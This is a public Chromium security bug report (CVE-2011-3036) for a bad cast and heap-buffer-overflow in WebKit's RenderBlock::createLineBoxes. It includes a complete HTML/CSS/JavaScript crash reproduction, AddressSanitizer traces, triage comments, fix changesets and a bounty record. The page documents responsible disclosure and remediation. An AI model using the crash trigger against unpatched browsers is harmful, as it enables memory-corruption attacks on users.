New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.

Issue 113258 link

Starred by 1 user

Issue metadata

Status: Fixed
Owner:
Closed: Feb 2012
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: All
Pri: 1
Type: Bug-Security

Restricted
  • Only users with EditIssue permission may comment.



Sign in to add a comment

Bad cast in WebCore::RenderBlock::createLineBoxes

Reported by miau...@gmail.com, Feb 8 2012

Issue description

VULNERABILITY DETAILS

a bug of renderblocks

VERSION
Chrome Version: all
Operating System: linux 64bit

REPRODUCTION CASE
<html>
  <head>
    <style>
      #el1 {
        -webkit-line-box-contain: block;
        -webkit-column-count: 1;
      }
      #el2 {
        display: list-item;
      }
      #el3::after {
        display: block;
        content: "A";
      }
      #el4 {
        display: inline;
        -webkit-column-span: all;
      }
    </style>
    <script>
      function crash(){
        el1 = document.createElement('div') 
        el1.setAttribute('id', 'el1') 
        document.body.appendChild(el1) 
        el2 = document.createElement('div') 
        el2.setAttribute('id', 'el2') 
        el1.appendChild(el2) 
        el3 = document.createElement('div') 
        el3.setAttribute('id', 'el3') 
        el2.appendChild(el3) 
        el4 = document.createElement('div') 
        el4.setAttribute('id', 'el4') 
        el3.appendChild(el4) 
        setTimeout(function() {
          el4.style.display='table' 
        },0)
      }
      window.onload=crash
    </script>
  </head>
  <body>
  </body>
</html>

FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION
Type of crash: renderer + asan
Crash State: 

==6826== ERROR: AddressSanitizer heap-buffer-overflow on address 0x7fffed2215c0 at pc 0x55555aaf5859 bp 0x7ffffffefdd0 sp 0x7ffffffefdc8
READ of size 8 at 0x7fffed2215c0 thread T0
    #0 0x55555aaf5859 in WebCore::InlineFlowBox::addToLine(WebCore::InlineBox*) ???:0
    #1 0x55555ab95d16 in WebCore::RenderBlock::createLineBoxes(WebCore::RenderObject*, WebCore::LineInfo const&, WebCore::InlineBox*) ???:0

0x7fffed2215c0 is located 8 bytes to the right of 56-byte region [0x7fffed221580,0x7fffed2215b8)
allocated by thread T0 here:
    #0 0x55555d8f2c32 in malloc ??:0
    #1 0x55555abe18a7 in WebCore::RenderBox::createInlineBox() ???:0
    #2 0x55555ab96047 in WebCore::RenderBlock::createLineBoxes(WebCore::RenderObject*, WebCore::LineInfo const&, WebCore::InlineBox*) ???:0
    #3 0x55555ab96697 in WebCore::RenderBlock::constructLine(WebCore::BidiRunList<WebCore::BidiRun>&, WebCore::LineInfo const&) ???:0

 
asan-stufz-4056.txt
8.6 KB View Download
stufz4056.html
1009 bytes View Download
stable-asan-stufz-4056.txt
9.2 KB View Download
stufz856.html
968 bytes View Download
beta-asan-stufz-4056.txt
8.7 KB View Download
asan-stufz-856.txt
9.3 KB View Download
beta-asan-stufz-856.txt
8.8 KB View Download
stable-asan-stufz-856.txt
9.4 KB View Download
Cc: dominicc@chromium.org mbarbe...@chromium.org
FYI, Sheriff! dont dupe it against one of the shadow dom bugs! Because of recent stream of those bugs(dependent on enabling that flag), they crash all over the place, so many of those stack overlap. we need a way to fix this on ClusterFuzz.
Labels: -Area-Undefined Area-WebKit SecSeverity-Medium SecImpacts-Beta SecImpacts-Stable
Status: Available
Chrome 19.0.1036/Linux/Debug trips over an assertion on stufz856.html (same assert in 18.0.1025, 17.0.963):

ASSERTION FAILED: obj->isRenderInline() || obj == this
third_party/WebKit/Source/WebCore/rendering/RenderBlockLineLayout.cpp(407) : WebCore::InlineFlowBox* WebCore::RenderBlock::createLineBoxes(WebCore::RenderObject*, const WebCore::LineInfo&, WebCore::InlineBox*)


Summary: Heap-buffer-overflow in WebCore::RenderBlock::createLineBoxes
Detailed report: https://cluster-fuzz.appspot.com/testcase?key=19511192

Uploader: inferno@chromium.org

Crash Type: Heap-buffer-overflow READ 1
Crash Address: 0x7fb351adace0
Crash State:
  - crash stack -
  WebCore::RenderBlock::createLineBoxes
  WebCore::RenderBlock::constructLine
  WebCore::RenderBlock::createLineBoxesFromBidiRuns
  

Minimized Testcase (0.83 Kb): https://cluster-fuzz.appspot.com/download/AMIfv94tzW1kUPsBhcPWnd7JyiYiFV93moun8K7PPSficgb1Cf9dhwXLssSDg2LQzBjCz4Lq58q4b4ziqFK7fdOzX3aVSMwlK1gJwaQpsbmZSRKQp5krF3URlRxjIkwYB_V0roMR0mmArwcLsZBypZOfV7Xhh5DKbw
Labels: -Pri-0 -SecSeverity-Medium Pri-1 SecSeverity-High Mstone-17 OS-All Stability-AddressSanitizer
Summary: Bad cast in WebCore::RenderBlock::createLineBoxes
bad cast is sec-severity high
Owner: infe...@chromium.org
Status: Started
Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify Merge-Approved
Status: FixUnreleased
http://trac.webkit.org/changeset/107613
Labels: -Merge-Approved Merge-Merged
M17: http://trac.webkit.org/changeset/109380
M18: http://trac.webkit.org/changeset/109381
Labels: reward-topanel
Labels: -reward-topanel reward-1000 reward-unpaid
$1000 etc.

----
Boilerplate text:
Please do NOT publicly disclose details until a fix has been released to all our
users. Early public disclosure may cancel the provisional reward.
Also, please be considerate about disclosure when the bug affects a core library
that may be used by other products.
Please do NOT share this information with third parties who are not directly
involved in fixing the bug. Doing so may cancel the provisional reward.
Please be honest if you have already disclosed anything publicly or to third parties.
----
Labels: CVE-2011-3036
Labels: -reward-unpaid

Comment 13 by cdn@chromium.org, May 15 2012

Status: Fixed
Marking old security bugs Fixed..
Project Member

Comment 14 by bugdroid1@chromium.org, Oct 13 2012

Labels: Restrict-AddIssueComment-Commit
This issue has been closed for some time. No one will pay attention to new comments.
If you are seeing this bug or have new data, please click New Issue to start a new bug.
Project Member

Comment 15 by bugdroid1@chromium.org, Mar 10 2013

Labels: -Type-Security -Area-WebKit -SecSeverity-High -SecImpacts-Beta -SecImpacts-Stable -Mstone-17 -Stability-AddressSanitizer Cr-Content Security-Impact-Stable Security-Impact-Beta Security-Severity-High Type-Bug-Security M-17 Performance-Memory-AddressSanitizer
Project Member

Comment 16 by bugdroid1@chromium.org, Mar 13 2013

Labels: Restrict-View-EditIssue
Project Member

Comment 17 by bugdroid1@chromium.org, Mar 13 2013

Labels: -Restrict-AddIssueComment-Commit Restrict-AddIssueComment-EditIssue
Labels: -Restrict-View-SecurityNotify -Restrict-View-EditIssue
Project Member

Comment 19 by bugdroid1@chromium.org, Mar 21 2013

Labels: -Security-Severity-High Security_Severity-High
Project Member

Comment 20 by bugdroid1@chromium.org, Mar 21 2013

Labels: -Security-Impact-Stable Security_Impact-Stable
Project Member

Comment 21 by bugdroid1@chromium.org, Mar 21 2013

Labels: -Security-Impact-Beta Security_Impact-Beta
Project Member

Comment 22 by bugdroid1@chromium.org, Apr 1 2013

Labels: -Performance-Memory-AddressSanitizer Stability-Memory-AddressSanitizer
Project Member

Comment 23 by bugdroid1@chromium.org, Apr 6 2013

Labels: -Cr-Content Cr-Blink
Project Member

Comment 24 by sheriffbot@chromium.org, Jun 14 2016

Labels: -security_impact-beta
Project Member

Comment 25 by sheriffbot@chromium.org, Oct 1 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Project Member

Comment 26 by sheriffbot@chromium.org, Oct 2 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Labels: allpublic
Labels: CVE_description-submitted

Sign in to add a comment